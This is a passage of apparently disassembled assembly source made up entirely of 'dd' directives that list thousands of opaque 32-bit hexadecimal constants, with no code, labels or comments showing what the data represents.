		dd 1841A858h, 0D035CCFDh, 892C1B34h, 6762E404h,	8750830Ah
		dd 0A0F8D340h, 42FC74E5h, 1F0EE8F1h, 2AAF5000h,	0BC96C530h
		dd 68C239B3h, 9341C37Eh, 1D8F97Bh, 0F49294C3h, 3146FD4Ch
		dd 4648598Ah, 0B50E9185h, 0EB0B80CCh, 0E5011D6Dh, 1F8B56E7h
		dd 59C81EA7h, 0C39C0CB4h, 9A70680Dh, 57A28301h,	96DD54ACh
		dd 0E8213435h, 0B13EC1E8h, 0F8020814h, 7C92D260h, 7518E919h
		dd 0CA5388h, 573BEF92h,	8DB87FFDh, 0F995A9C0h, 90012821h
		dd 0B00F00B9h, 0DEB34C69h, 3113838Ah, 6C2024F8h, 3B8C9A23h
		dd 38008221h, 0E5A11D9Dh, 0A42456ACh, 2174809Bh, 168CE049h
		dd 0C8A318CBh, 85C06240h, 46C4D1D3h, 13897087h,	0F1C9A20h
		dd 6BD8AAF7h, 0D0E64AE0h, 2526570Eh, 0CF8630BFh, 0C1CA24h
		dd 5F7CEDDFh, 0E56E99EBh, 697BB700h, 3A192A95h,	287558F9h
		dd 8CBFBCh, 3DC43BDFh, 63E934C9h, 302C4A01h, 4D9ED0C2h
		dd 0C561820h, 0D124D995h, 8F004539h, 5F01C889h,	3C5E91A5h
		dd 13850B68h, 80487FA2h, 0A8D90C1Ah, 4E9D4712h,	0C0C9CC08h
		dd 56BBFA2Ah, 224C3452h, 629E00C8h, 0BBC648FAh,	7F09E5EAh
		dd 42D6310h, 0A3408F7Ch, 848D56DFh, 2CFAD4F5h, 3550400h
		dd 0E71399D0h, 0A33001BDh, 6146E031h, 302425A0h, 0C0A84BDBh
		dd 71C0D224h, 0B09B9379h, 748F48DBh, 0E427E315h, 0DED38080h
		dd 4CB15FC4h, 0D3890EC0h, 66A6006Fh, 0BEE6778Eh, 8B83A53h
		dd 0A0407800h, 4E90FF12h, 0DAED14BBh, 0C209ECE9h, 8402C80Dh
		dd 0DE18FBBEh, 19801192h, 807D88B2h, 0B992F657h, 0C21F8197h
		dd 7383AD6Ah, 0B07FDC7Bh
		dd 0E262Bh, 8E30D723h, 0D234EE96h, 197EAC00h, 6E59E2BBh
		dd 8B282926h, 186B713Ch, 0CB9401DAh, 153E8F06h,	321AC5D0h
		dd 0A0700450h, 5B02A2E2h, 0F8C8BCD5h, 6B489DC2h, 8C6AE8F8h
		dd 5BD85A01h, 1BB2BCBBh, 58351FF0h, 13092486h, 0F89D01ECh
		dd 0F880BC11h, 0AEC70F21h, 4182DA01h, 0E0DDB6A9h, 4135CC52h
		dd 87186000h, 0C4F7D31Fh, 210119E3h, 0BCD3CC0Dh, 3414FB07h
		dd 9870BE1Eh, 3242C4D6h, 11B06FD5h, 89B3AC86h, 0A69FD009h
		dd 9B4C7037h, 0EFEC78BCh, 0D4491026h, 15D8DA60h, 5D1E00C2h
		dd 9E8D5292h, 0A5130CB3h, 2408A872h, 4A280CDh, 98BAC05Fh
		dd 264ED10Eh, 34194217h, 1DE86A1Fh, 0C63CD8h, 2B5D26C0h
		dd 19ABAA45h, 281BA59Ah, 9E4820B7h, 16A01408h, 54F3058Bh
		dd 7F3C90A2h, 0FC944730h, 3E6F3A87h, 12FF7DE0h,	378C3DA6h
		dd 0D1FEBC00h, 78A0FBE5h, 0ACDF4102h, 64761B75h, 835504E0h
		dd 88C58F89h, 1B007208h, 254AAC4Fh, 1BA1E95h, 13565797h
		dd 48033F3Bh, 9209D170h, 1CCA1989h, 0C9520B80h,	7F00A092h
		dd 397CC22Bh, 0E7E6AF09h, 0C20C65C7h, 1C1956B8h, 77E7B140h
		dd 4744095Fh, 1402A011h, 0F40FAB93h, 8C7CAC50h,	0CE4C200h
		dd 778FAAEAh, 1EF6051Fh, 2B26CF3h, 49474CB4h, 0C0CDA048h
		dd 6DF6C812h, 1C63D801h, 3024F99Ah, 3017FE3Dh, 0E1B04C39h
		dd 70A4824Dh, 2F14B704h, 0B867A9A8h, 14BF6580h,	160FBA57h
		dd 8C140A0h, 0DC3F7224h, 5124C05Ch, 3DDFD0Eh, 0D9DEC6B8h
		dd 0D4B0984Bh, 8464D7C4h, 0BB608E78h, 0A8102B14h, 0B6C8B409h
		dd 15037980h, 5CEBA0E1h, 0DC106C6Eh, 0A0CA24C7h, 0D43A8717h
		dd 0D4E04910h, 5D220AC4h, 300F9C89h, 0E93A0158h, 31E0FBB7h
		dd 83AD0ECFh, 7E8FDD26h, 4B6EEF07h, 98F6C822h, 9D1FD0A0h
		dd 5012F026h, 4864A76Ah, 320078B2h, 989CBC3h, 0DA0FC00Ch
		dd 253ED907h, 0C8C00B75h, 0F24B7093h, 5E1C9C7Dh, 1F01C546h
		dd 249A3640h, 0E21980C7h, 5E4BF219h, 0F0A5A3B2h, 1FEB8C1Eh
		dd 7C0BD207h, 9D4CBE8Fh, 1800E53Fh, 0E35D1319h,	99796A80h
		dd 18C879C0h, 7B8F80Ah,	8A5EF9B7h, 848BC940h, 977C8602h
		dd 9094E450h, 0BF465Ch,	34CBB6A2h, 7A531249h, 303C025Eh
		dd 66F268A8h, 79A100DDh, 0C1D9B4ECh, 9F7EB7C0h,	3F7424C4h
		dd 0DD4A2802h, 70BCFFD0h, 1B8546F8h, 0EA5014B6h, 604046B3h
		dd 0BE662192h, 4FE40D14h, 7AD42A3Ch, 8B41D48h, 0D1A526A0h
		dd 2C419348h, 0C1278400h, 3608029h, 0A0EBCBC9h,	2AC1FC70h
		dd 0C85428F7h, 0D37CC063h, 7F46C4D2h, 1269F530h, 1EE6D385h
		dd 7AE6F112h, 53548821h, 75D4F471h, 6C8301CEh, 0CD8E607Eh
		dd 623117C9h, 69804448h, 36B6F7Fh, 0B803135Ah, 1D05F79h
		dd 0A0D1CBCEh, 1789B5F8h, 2FAC0F28h, 0FF23A0h, 91488CECh
		dd 4C9C0CC4h, 9EF6AD04h, 24A4A090h, 0E612000Dh,	0B61E9B2Eh
		dd 7C7E799Fh, 0F270F104h, 0F4DDF72Bh, 3090E002h, 290814B5h
		dd 58B419A8h, 140FFD7Fh, 408B8918h, 98F1427Eh, 218860B9h
		dd 6D29A904h, 0B12410F0h, 8501C6F7h, 5845142Dh,	2551DF8h
		dd 80C0E1E0h, 0F88E9EFEh, 0F95401F2h, 0E24861E7h, 85B288A0h
		dd 8B0BD88Ah, 10A6FD9Fh, 86F7FCB8h, 8692F804h, 68628219h
		dd 92D05120h, 0AB4003E1h, 24BAF2EFh, 333FA905h,	0A6C2114Ch
		dd 71BC5179h, 1E6918BFh, 26061CBh, 0AF25367Fh, 0C90B0EE1h
		dd 82CC45C9h, 0E87089FBh, 69D15499h, 101E0518h,	2E012267h
		dd 311AC433h, 99CD8064h, 4D8BD0FCh, 321D1286h, 87300CCCh
		dd 46168F19h, 70806755h, 0A84FBF9Fh, 301F4490h,	917098B1h
		dd 3892510Ch, 31AABD4Ch, 3CF41A4h, 1A8E8020h, 82885DCh
		dd 0FC174898h, 0FE48BF00h, 0E2D1ACCAh, 762EFC72h, 93B52E53h
		dd 6C61C068h, 0A78A26Fh, 0FD1FF71Eh, 0DF71E207h, 2F25B780h
		dd 0DDED04F0h, 81367CACh, 0CC207EC8h, 555B4AC8h, 0B1B1C01h
		dd 0A883CC5Dh, 43A91AE4h, 0C231C014h, 974C2D88h, 80939150h
		dd 0EFC85ADAh, 3FD10043h, 0AE0DF5A8h, 0EC902528h, 0F9318032h
		dd 5DC9206Dh, 0A90007EAh, 0A375F37Eh, 9ABF31BEh, 0B9932550h
		dd 1CD6C4C8h, 0AE387779h, 0F9B0B43h, 3C3C1025h,	0A190AFh
		dd 0F593BB8Ah, 6728F2B6h, 83CC9B00h, 6A6205E8h,	0E893B5h
		dd 0FEF6A028h, 0DD244E90h, 467414E1h, 11B80092h, 0EF63958Ah
		dd 0D64BE2h, 70312194h,	684882D0h, 56E5C0DCh, 0B0F5CB25h
		dd 0AC222D08h, 818F58B5h, 6BF3A0E2h, 0FC7970ADh, 84D55525h
		dd 53386E0h, 8EDDBE6Ch,	2C54A9CFh, 0A8085488h, 6FC24B5h
		dd 88EF32EDh, 4A01DD77h, 0D8F7C403h, 0EC2DF313h, 9A674D00h
		dd 0D54A8D6Ah, 0BDD10400h, 852F3E97h, 5CB858CDh, 9E4782Ah
		dd 9047D6A0h, 60ABD040h, 28D8C427h, 0A325B0D8h,	80CA3660h
		dd 0C1E6BB1Bh, 1423D969h, 15A8EB3Ah, 0B100BE82h, 0DAA8EDD0h
		dd 5AA22Fh, 846B9C91h, 0E24F1B96h, 51031F00h, 0C1D1B171h
		dd 0BA593A90h, 98253F00h, 37EC7CC5h, 6435500Fh,	9EE80399h
		dd 0E4CCE060h, 57CB005Ah, 0E261060Dh, 4A765417h, 56B56312h
		dd 0C280151Eh, 8FD01E93h, 0D14C38AFh, 15101A80h, 0D654B78Dh
		dd 90563B2Dh, 94DCB940h, 46DE0F18h, 898899AAh, 0B780BF30h
		dd 698FE37h, 23303248h,	14C00187h, 28B1A82Eh, 87CB0ECh
		dd 0C1180015h, 81A04169h, 252F4C55h, 28040287h,	24C4DAC8h
		dd 74D8B113h, 8056B621h, 0B3ABF8A7h, 545EBC93h,	58CB5812h
		dd 30DFFBC4h, 0B48D99Fh, 132DF75Ch, 6DC32018h, 0BCFBF04h
		dd 4890D325h, 3845ACE6h, 0A00079FBh, 18BFA5F8h,	731FE28Ch
		dd 86DDA117h, 215E98AEh, 7E8156B7h, 41428F79h, 0C8969A42h
		dd 3ED5B9Ch, 97C9590Ah,	0B4AD4635h, 131019FCh, 4A73AFA5h
		dd 0C8388B2Ah, 9EFBC066h, 3068C5Eh, 0DBD88E93h,	11CD2FE9h
		dd 0ACDF88A3h, 2DBCA491h, 0D0AD09A0h, 0A80CDA12h, 904A950h
		dd 87791AE5h, 0C435C8A0h, 8459D942h, 0A1F44368h, 5A0C4D92h
		dd 78004E90h, 6CB4C7Eh,	6911131Ah, 74A488DFh, 0AC68679Bh
		dd 0C4996058h, 9C00830Eh, 180A3E23h, 1E937FA2h,	0B530706h
		dd 0E505BE0Ch, 0FD780094h, 0BB709F8Dh, 0C9608B04h, 0ECC9B346h
		dd 20220DF1h, 41B92863h, 7E0B3900h, 0DCAE48D5h,	0D4E312A5h
		dd 0A0C8E2Dh, 0C49FF6AEh, 1584ED80h, 161DAC2h, 6AB97EBBh
		dd 0EC7A5BFDh, 992C4AC5h, 78C27092h, 80707C48h,	5FC4976h
		dd 0A00178Dh, 0DB4A386Bh, 97607D9Ah, 0F01BD2D0h, 0C580CF61h
		dd 578068E2h, 1F6983C1h, 1D1CFC7Dh, 0E341840Ch,	8D222BCCh
		dd 88747860h, 31009F1Eh, 0C8A371FDh, 1C3DF5C0h,	0C1CA17CCh
		dd 0B00C4096h, 0A81070EBh, 74F1E4B9h, 0ED09D818h, 8BA91EBAh
		dd 0E42465B0h, 0B8686301h, 7921F86h, 825874C1h,	0E2E19454h
		dd 30B5F2E0h, 0DF0BB1FDh, 8568DDAEh, 89297DAh, 79AC5184h
		dd 0EC51893h, 0F0ED7A27h, 0F80C6C61h, 7C2882A6h, 0C85AC8A8h
		dd 0D71612ECh, 8E1882D8h, 0E84BE454h, 2CA4D75Ch, 0A2785A1Eh
		dd 1AC40980h, 0F0A53E19h, 523C188Dh, 6803EF45h,	0FBFDFEBBh
		dd 1315F9B7h, 7D2460FAh, 319381C0h, 0F3F82600h,	8053E806h
		dd 0CA86065Bh, 899AF152h, 3F8944h, 4BC1CC64h, 85D276FDh
		dd 28D7F00h, 7AB67DD3h,	0DF5E14B0h, 8BE8AC5Bh, 489F2F8Ch
		dd 0C0626825h, 0C380D2D7h, 0EC409500h, 59493B69h, 0F9A417E8h
		dd 0D6E43061h, 14715BDAh, 16DDC10Fh, 0EFF02160h, 0C029C7E7h
		dd 587270ACh, 0F2368300h
		dd 0A4C6687Eh, 285E4EACh, 0D58B6278h, 9F259804h, 0A4EC7B01h
		dd 207875AEh, 436BC038h, 80C4D9h, 626EAAF9h, 2CC54EAFh
		dd 0D5D45004h, 0E23481CCh, 30C5B248h, 6200CF31h, 0F13AE4D6h
		dd 0B6D8FBB5h, 21E8A85Ch, 0D48FF808h, 0E219C492h, 65B054A8h
		dd 0FE0092CCh, 2A68C0B3h, 4C4E9102h, 9C48A850h,	898AC49h
		dd 0C9C0E9Fh, 0C024BCA4h, 0A1D9240Ch, 0A320002Eh, 23F46CB2h
		dd 0E9053BEDh, 0B993B5F7h, 7045488h, 0C22EF061h, 1B68302Bh
		dd 0FD2F56BEh, 31680B92h, 2E2E76ECh, 0C823E0h, 0BEB0CA5Ah
		dd 0C4B1FB42h, 66BD2F00h, 63E9120h, 60DD567Dh, 481A70F9h
		dd 4740DA2Eh, 0DFF54264h, 2AA4C18h, 44380D8Dh, 0ACC83157h
		dd 0C4E6EB19h, 5202409Ch, 3DF80992h, 6DA54107h,	8E9997D0h
		dd 90A5B7CAh, 111C88EBh, 885008F3h, 851C82CBh, 0C880A00Ah
		dd 55C0CBAh, 78D3586Ch,	1DAFDE00h, 85FDBF39h, 0B5D13113h
		dd 5746D8C1h, 9520437Bh, 0ADA7B958h, 0B13C2311h, 0E40C4D8Bh
		dd 0D7CA5401h, 485CDF84h, 0AEF4042Eh, 45E707A4h, 0AC43F885h
		dd 9AFB4Dh, 63512471h, 69443E25h, 109065F6h, 0A4211717h
		dd 56F5BC02h, 0A8E481ECh, 4479DEADh, 500061B8h,	0C1F5BC53h
		dd 0A123CD9Ah, 2DE2CE0h, 88A35B24h, 39009BFBh, 75C17C0h
		dd 2D29CB7h, 0CAEADF38h, 9490B9FCh, 0CEF4CCD4h,	0DCFC0F50h
		dd 0A7BFD701h, 26A0BAA2h, 0E0B440C2h, 0CBB60B14h, 8261D52h
		dd 591240D6h, 504CF325h, 2F8F50E5h, 1007C035h, 72C680ADh
		dd 9892B9DBh, 8805F182h, 5CCC9290h, 0E6E0FD00h,	3E10B6E2h
		dd 4CF9913h, 0BDD6D0B9h, 43951CC4h, 709392C9h, 0A79F13B4h
		dd 0D3642248h, 712D3E20h, 6DCE1F8Eh, 80ECC00Dh,	6C321B9Ah
		dd 4B04E303h, 56E196D5h, 0E8075090h, 0FCD8F31Eh, 5B2546B8h
		dd 8E60A097h, 0EC31DD96h, 4E633EACh, 7B54460Ch,	38C81921h
		dd 4AC404B5h, 450A0CDh,	30CC8D28h, 909AE73Fh, 2418BF18h
		dd 0D056180Bh, 44C8194Bh, 9E6220A0h, 604FB97Dh,	26AC49h
		dd 0B3ACB83Dh, 474630FAh, 0F6C4D219h, 0C7A08000h, 7DE941BEh
		dd 53B33E38h, 45E4C8ACh, 89F88158h, 9898A93Bh, 0C06E7424h
		dd 1BAB31F2h, 0AF6501EAh, 194AD075h, 9F3089CDh,	7E64F2C2h
		dd 7C1100ADh, 0C03699E2h, 8B1DFE8Fh, 972F56D9h,	807491FCh
		dd 50C31941h, 528BEAAh,	8443847Fh, 3D54000Ch, 22CF30C0h
		dd 591D1C90h, 0E9251613h, 28249CDCh, 1C25174Fh,	0A701FBEh
		dd 80BC2BD2h, 92FE037Fh, 0BB181B83h, 5568BE50h,	0E088007Eh
		dd 0CC1C28ADh, 324818CAh, 0F4BA0950h, 0D1AC71A3h, 18918C7h
		dd 44E09530h, 3E9B6527h, 0F8C4EC02h, 0E2690EACh, 608084A1h
		dd 0E851EED2h, 6827B42Ch, 9A7FDC18h, 40894A74h,	0D0423080h
		dd 109084F2h, 0BF8F0A6h, 80A8A13Eh, 0FCA6993Eh,	2277AC2Eh
		dd 1899958Fh, 86E049D8h, 0C0ACDF48h, 0E58D45ADh, 753C065Eh
		dd 6CF3F041h, 79DC5F01h, 9B197770h, 546C3849h, 18CFBACh
		dd 55EF3ED4h, 7C5AC739h, 4DFA1030h, 0EC1B7200h,	70DDB6ACh
		dd 28C93C26h, 93D82294h, 20B0FCA6h, 7C0B65CDh, 82A60C36h
		dd 0E98D1A9Ch, 0D4343154h, 6D0B2719h, 528FCCE0h, 0EC93A528h
		dd 2F5F4Bh, 0C04D9210h,	0D30C2806h, 48E4129Bh, 0ECF8C857h
		dd 88D7DA00h, 9ABABED2h, 7B920ED8h, 0DDEF6010h,	85261434h
		dd 0B794005Dh, 837E6777h, 885F182Ch, 0C4E6B02h,	0DCB45C3Eh
		dd 0C9EDEF00h, 34C2FE1Dh, 187790DEh, 0F06DA122h, 0D9120D9Ch
		dd 0B8000E69h, 0BBCF6380h, 25B93089h, 288EFF99h, 3B0FD39h
		dd 0DC508F7Eh, 8491FC52h, 29ADFFB9h, 91913017h,	8E77E180h
		dd 8C2E9F80h, 0B208C466h, 0C1C200E4h, 25CC6CB7h, 7F81F4B4h
		dd 43EE6311h, 17CA3060h, 44993D52h, 0C93CBB78h,	27ADF038h
		dd 0C1C80CA0h, 3FCD2184h, 14BD3809h, 0E6903F00h, 88101694h
		dd 8179E034h, 1AC9EB44h, 0C04D7925h, 7C860E60h,	3DD90198h
		dd 0FB9A85A1h, 0A0E4EEA0h, 0D552C40Ah, 4C085842h, 0D72416B8h
		dd 0B3E7E088h, 353D29B0h, 548589F3h, 70ACDB89h,	9003CACh
		dd 15E4EFDAh, 5C68D0D4h, 0D68084F6h, 40FF0FB9h,	0BC47C900h
		dd 0D2C6DBCDh, 403CB190h, 9E93A8FAh, 920CA401h,	4F46EEB6h
		dd 79068429h, 0C8C328C4h, 0A517D212h, 3E8EE4DBh, 0C71C55C0h
		dd 0BE583874h, 0A02525E4h, 8452BC04h, 68B9A0BBh, 6D6F12F7h
		dd 2190D047h, 9B00A93Ah, 0E70E7342h, 1B3D540h, 76B10F47h
		dd 60509ED8h, 0CA403060h, 0C68B01B7h, 6523CC52h, 561B00AEh
		dd 0C02F4B94h, 0D4DDC178h, 0E0814A4Eh, 5EC9CCF5h, 324C8478h
		dd 0AC01EA07h, 0E8D3A1A4h, 2C46F0FCh, 6A14CC01h, 7980BBECh
		dd 4890C4D3h, 64D55702h, 0A00E41D8h, 51605234h,	3B25C060h
		dd 0EFC40361h, 0FF22FDDEh, 378D6918h, 0E4ED5619h, 0BA30C044h
		dd 0BC9FDE24h, 0E4DC664Eh, 4CAF00A5h, 0AA6CB68Fh, 8414043Ch
		dd 0EA043DA1h, 0C90016E8h, 0FE67C82Ah, 0F36D1E0h, 0EA7BF120h
		dd 18CB985Ch, 70677FF4h, 9651CA31h, 45F07C57h, 0F16C01F8h
		dd 54BD7BF0h, 625980FDh, 483FB05Ah, 0BE8B0012h,	4509798Fh
		dd 3B000F58h, 74050C81h, 0A7D3E9h, 34B3F26Eh, 4ED510EEh
		dd 4A47003h, 0C1772A9h,	552E9889h, 7D7B8070h, 0BC8DC93Eh
		dd 8C830065h, 0A83746BDh, 86741CB1h, 12650h, 0A33C211Ah
		dd 0B6318A47h, 76FA9807h, 0AEA7CD0h, 98EB0AFCh,	797A0270h
		dd 880C924h, 9D631207h,	3AA87E0Ch, 2E8C886Fh, 0AB5EDh
		dd 0FF72D946h, 51006CF0h, 0B988A770h, 7D1C26Dh,	0A2621E73h
		dd 67FC2B6h, 45188A0h, 0B5060B61h, 0E12446CCh, 7E7A1EE8h
		dd 81907094h, 51D897EFh, 80D01418h, 541FEECDh, 551E4FDFh
		dd 93925130h, 3E6FE4Ch,	567523BBh, 3000F5BCh, 6D5C211Dh
		dd 0A499D4Dh, 0D5DCC487h, 74B30380h, 5900A47Eh,	0D27DD30Eh
		dd 0A0DD9AB0h, 0E11ECE0h, 18FFB203h, 57224620h,	0AA0235F3h
		dd 0CCF9DAC7h, 80848F19h, 0B5A9504Fh, 30A8EE0Bh, 3F1912A6h
		dd 3B0287B1h, 42C88104h, 54C0010Ch, 0A9B980F2h,	6CC7F8D9h
		dd 88EA00F9h, 0DF6E7E4Ch, 0AB0F6524h, 783EBDDh,	0A344013Ch
		dd 13993890h, 0E1146077h, 0C438FF7h, 0B503B0E2h, 912B04A9h
		dd 0A8A0A064h, 0A172076Fh, 8CC886EDh, 0E6145F40h, 0A0E958h
		dd 0B8D611B3h, 72FA4B65h, 28950012h, 13D3E456h,	0A53E9C81h
		dd 0FC5F0062h, 83E36E79h, 38487D6Dh, 1E037290h,	0E77F7899h
		dd 747C69E0h, 3429B600h, 5463E18h, 0C004A519h, 0DA6BF2D7h
		dd 7A1868E2h, 39193FEEh, 50C261A8h, 0E0A704B8h,	66800C02h
		dd 9E4B00E7h, 3D65217Fh, 647450C7h, 8C596960h, 0BD4B4Fh
		dd 0CA12FDFFh, 513422B5h, 0B83C8150h, 674F3D07h, 658017C0h
		dd 8040909Eh, 27005D14h, 856E3A5h, 0EE3995C6h, 336CA02Dh
		dd 7D971140h, 0A879000Bh, 4A1FFC1h, 9A1118A3h, 3DE3080Ch
		dd 10DA20C0h, 38643C2h,	0DF5F7E90h, 1674DEF7h, 249E5728h
		dd 0BD823703h, 0C04C4A79h, 30A718EBh, 0A5B1115Eh, 0B5007D2Fh
		dd 54EC8389h, 0E8DDCB92h, 4199DEBBh, 0D81E7AA7h, 73E0D496h
		dd 56389D18h, 0EEFE87F1h, 0AFA8009Ch, 0E1E87084h, 2200C001h
		dd 6D2A95Eh, 541018E9h,	4A2385Fh, 0DB89A87Ah, 0F33D9h
		dd 7ADA5321h, 0D8C2896Fh, 6B0BEB00h, 3DB6FFE2h,	0AC695493h
		dd 8C0905B3h, 0BA1377h,	1C2146A8h, 9006920Eh, 3716884Fh
		dd 22FB00C0h, 118BCCDCh, 0C900DB59h, 33C8D449h,	3BA82CB7h
		dd 5F031E66h, 9D712AB2h
		dd 0F0D702C1h, 2674302Fh, 0EC7E7500h, 0A98ECCFAh, 0E89F0F68h
		dd 0E60F861h, 0A2668F62h, 0D5CE7801h, 743DCC86h, 0E82F14E8h
		dd 5121C00Bh, 0D978CBF0h, 0D3AE6A0Ch, 1F978B9h,	0B7917BC1h
		dd 38F547Ah, 0FCE1D8C2h, 0C35506EAh, 85DE30Eh, 23213060h
		dd 5EE262h, 0D9B615CDh,	0EA68142Eh, 0A3187800h,	1E2FB97Dh
		dd 0E29800FBh, 267F483Dh, 540C884Eh, 911A802Bh,	154F3D58h
		dd 63E8CA03h, 0F9C876E7h, 0B0009AFBh, 5D1194B9h, 0C3A4EB16h
		dd 4E79F6A8h, 41DA8107h, 8CD3D5BCh, 50C676h, 0ED81FBA7h
		dd 0C1CDACC8h, 4ADF0800h, 0F25B4211h, 1B606EFh,	30682E0Bh
		dd 6FC7F0EBh, 0BD00A876h, 95969DADh, 97803h, 9457C8A9h
		dd 0F6EFBBAFh, 795B6633h, 863AD86Ch, 0EA1E0021h, 673C8B06h
		dd 95029D8Ch, 917C1189h, 0F3A4B0B1h, 0EAFA1DE1h, 2791A1E5h
		dd 0E25C150Fh, 80F78C60h, 0FA07D3C0h, 8E1419F3h, 0A0AD4D53h
		dd 18F101D8h, 0E809228Ah, 9401F986h, 0B4969FF2h, 2995E78Eh
		dd 768489h, 0CD619501h,	9B2271E4h, 12472A39h, 37079EFBh
		dd 0CEE0861Fh, 3860A3EEh, 0A306609h, 0C92F6291h, 29EBF401h
		dd 124DAEB2h, 39082AEBh, 517C9Ch, 0DA33B3F5h, 9C7747Fh
		dd 0E4DCFA0Ch, 2AA88F9h, 2CA28CCCh, 44881A3h, 5400870Eh
		dd 0C60BDA4h, 0F30E92Bh, 69091F34h, 0B817E3E6h,	61BF7E18h
		dd 0FE80A88h, 687D95F6h, 4D69A5A1h, 6BEB30E9h, 8F3DE00h
		dd 0DCAFE499h, 8AA030CEh, 0CBFA6858h, 809B893Ch, 2214A9CCh
		dd 1240A1D5h, 6E7C0B34h, 0BB600070h, 0B270E7FDh, 14D802A7h
		dd 0AFCFD0EBh, 0CC754841h, 0E8903532h, 6C276915h, 0C39F06C0h
		dd 2182B4Eh, 83E820D7h,	0E49DA7AEh, 0B2816E11h,	0F93391D9h
		dd 9E1ED8FBh, 59323490h, 30F350E2h, 0FC0894F7h,	64AD469Fh
		dd 0FFA7408Ah, 9D6F94h,	1A21DCA5h, 0F88E13C4h, 37E59A18h
		dd 0F44ED0C9h, 0F0085C85h, 858F601Dh, 191F39Bh,	0FB0EB8Ch
		dd 218047BBh, 334DA1h, 28A32A21h, 4EC12E7h, 8A7F5C01h
		dd 36FC80F8h, 2B0055B5h, 4304E130h, 542501DAh, 1CFD5C87h
		dd 0A39FF694h, 61006F11h, 0F35294E5h, 0C503A2D1h, 18CD877Bh
		dd 90A004C3h, 80C7A51Ch, 0ED61E76Ch, 7701889Bh,	8486D4CEh
		dd 5C880A18h, 64CB07EFh, 0F059D819h, 95B08587h,	9EA058C3h
		dd 929151Ch, 97880D7h, 0CE98A316h, 0ED1A7090h, 0F9005998h
		dd 37218E7h, 91094C66h,	0F4D580A8h, 0ADD22C77h,	5D384486h
		dd 83F5BD3Ah, 0EB06F8BEh, 88329220h, 0F211F0B0h, 0F9944A80h
		dd 448C4E9Fh, 7200A68Bh, 0DCBDF894h, 0F2EBD4A4h, 0D66D04E6h
		dd 9524DD86h, 0B5990FC0h, 0C4F0B82Ah, 631820DCh, 0F01C85D4h
		dd 58002816h, 0B6DBC909h, 0A87F7C71h, 0EC2D90h,	5D19993Ch
		dd 0ADDDE7FAh, 0DE05F477h, 72660CBEh, 0F5AF8860h, 432976F9h
		dd 3422AEh, 0EBF5B84Fh,	90D49886h, 82E74307h, 0DDA6CDC9h
		dd 8DB63A98h, 0C096CC99h, 6C426FAh, 0C087AE55h,	0D2CB8028h
		dd 1894610Fh, 339FC6h, 1BBC7F75h, 10DF7315h, 94359BE0h
		dd 16288961h, 199E3483h, 582D988Bh, 232020A0h, 34DA48BDh
		dd 0E60EEE23h, 7C8624CBh, 61C161h, 3CC1E5Bh, 0BAD4F3B8h
		dd 3900077Fh, 4B70D94Dh, 10398Bh, 9640FAB0h, 0D27FDB2Bh
		dd 0E2AF8700h, 8176C29Dh, 7A863969h, 6AF002C0h,	81DCED3Dh
		dd 45ACE1D7h, 58227FEFh, 21839800h, 0CD5791A2h,	258CB4Dh
		dd 95CEB44Fh, 379C48A9h, 0FE7A04B5h, 8261656Eh,	0D868D1E0h
		dd 0C021A586h, 19931A9Ah, 0F4DD848h, 0E422D881h, 0CA307DF2h
		dd 0BE7138E1h, 9FF3F90Ah, 0E85F62ACh, 620C8817h, 0BF1F2D60h
		dd 67B21099h, 0DC02005Fh, 0A5B58B7Dh, 0FAAF3FECh, 9CAE6E02h
		dd 4448A809h, 3D0E4EE7h, 571E8E87h, 5CB04C01h, 0D433A086h
		dd 0D0338BA2h, 576796Fh, 0C5A868F4h, 46368358h,	6D2481F4h
		dd 9B59024Ah, 1F683FC8h, 94E30243h, 9CE69FE8h, 4B631DA0h
		dd 651EC094h, 0F8E8DC86h, 0CD35E203h, 0E545C9Ah, 48148060h
		dd 132C7F40h, 0C8983AADh, 71D4C90h, 0F468DF35h,	10A69544h
		dd 0A55886h, 518E2209h,	789D4410h, 1DCA7D82h, 0D585205Bh
		dd 8009AC53h, 0E8A03D26h, 1FE9314h, 706EE604h, 40889FA2h
		dd 0C43D1B87h, 23B3587Dh, 6340E164h, 155E38D3h,	0C8AD0B11h
		dd 0CAE8A900h, 3A37AC3Fh, 0B6F04A00h, 44242372h, 0F3130007h
		dd 0CF7FF1F9h, 83780C82h, 88DAE24h, 96DCFC82h, 649860FAh
		dd 81DF0A76h, 809C7389h, 0F39F7C15h, 3D001A33h,	5AE213D7h
		dd 4A147B8Ah, 0B0D9019Eh, 0DE08C8D8h, 0F278F464h, 0CEA492Eh
		dd 84156986h, 0A1B67051h, 98813184h, 0CD4B87DDh, 0F930931Ch
		dd 0C0E57808h, 29ECF4CAh, 4486ADE8h, 0B3094C2Dh, 82978EF5h
		dd 0CA9CD535h, 82CCC240h, 1A7F6288h, 87AF72C0h,	882F1C24h
		dd 61A362h, 0CACBF24Fh,	419089FCh, 26064307h, 0AD61DCBFh
		dd 7832BA27h, 0B00AA325h, 0C0650318h, 0CDD2E7B5h, 71CBF444h
		dd 88A817E8h, 256061B7h, 250F096Ah, 880803E6h, 0D5DE00D0h
		dd 7AC11AF9h, 0CD3EA516h, 0C659144Eh, 56F06439h, 0DC029C4Bh
		dd 0DA29E6F4h, 5E103A31h, 3C00F5C4h, 0CA8F4450h, 268AF9B6h
		dd 2E49DEDh, 86C8CDF2h,	72DAEC41h, 3072F294h, 863085F6h
		dd 803F915Ah, 0E9336058h, 97A79C78h, 2519C500h,	1C18B250h
		dd 5CE83196h, 0C0A01C8h, 78F408C6h, 34C4EA2Ch, 0F580FB5Ch
		dd 848CF3D2h, 7F031CE8h, 620D596h, 11A7F340h, 7395ADD8h
		dd 7EA97060h, 0C7737CB8h, 0B02D08C2h, 2537F6FDh, 916420Ah
		dd 819280FBh, 29C0C034h, 2A25A7h, 8E96C36Bh, 16B50120h
		dd 4AFC903Fh, 0DBD7CC00h, 18F8A93Bh, 8918D0D6h,	4B038CCCh
		dd 22AD28B8h, 0DC71F072h, 88FC58DFh, 0C57F5F10h, 0C585CBF9h
		dd 882C1013h, 0CBF10142h, 4811B23Dh, 2FB6D0FBh,	0FAF28A77h
		dd 9271C801h, 0DF18F6E0h, 917F4429h, 652700E8h,	0E736FC0Bh
		dd 500BA75h, 77856649h,	0E0FEF54Eh, 5CEE4CC3h, 824D8810h
		dd 0E0B13814h, 2A072693h, 87D0F7CFh, 602D44D8h,	0C9DCDF7h
		dd 70AC8587h, 8CB218A1h, 88D1DCB1h, 0F3004418h,	6576550Fh
		dd 0C8EA58h, 0A82D0B7Bh, 8FD8BD28h, 7219B316h, 66698A18h
		dd 2352098Dh, 0DC286313h, 815C11C4h, 86C9CBECh,	83C2ED1h
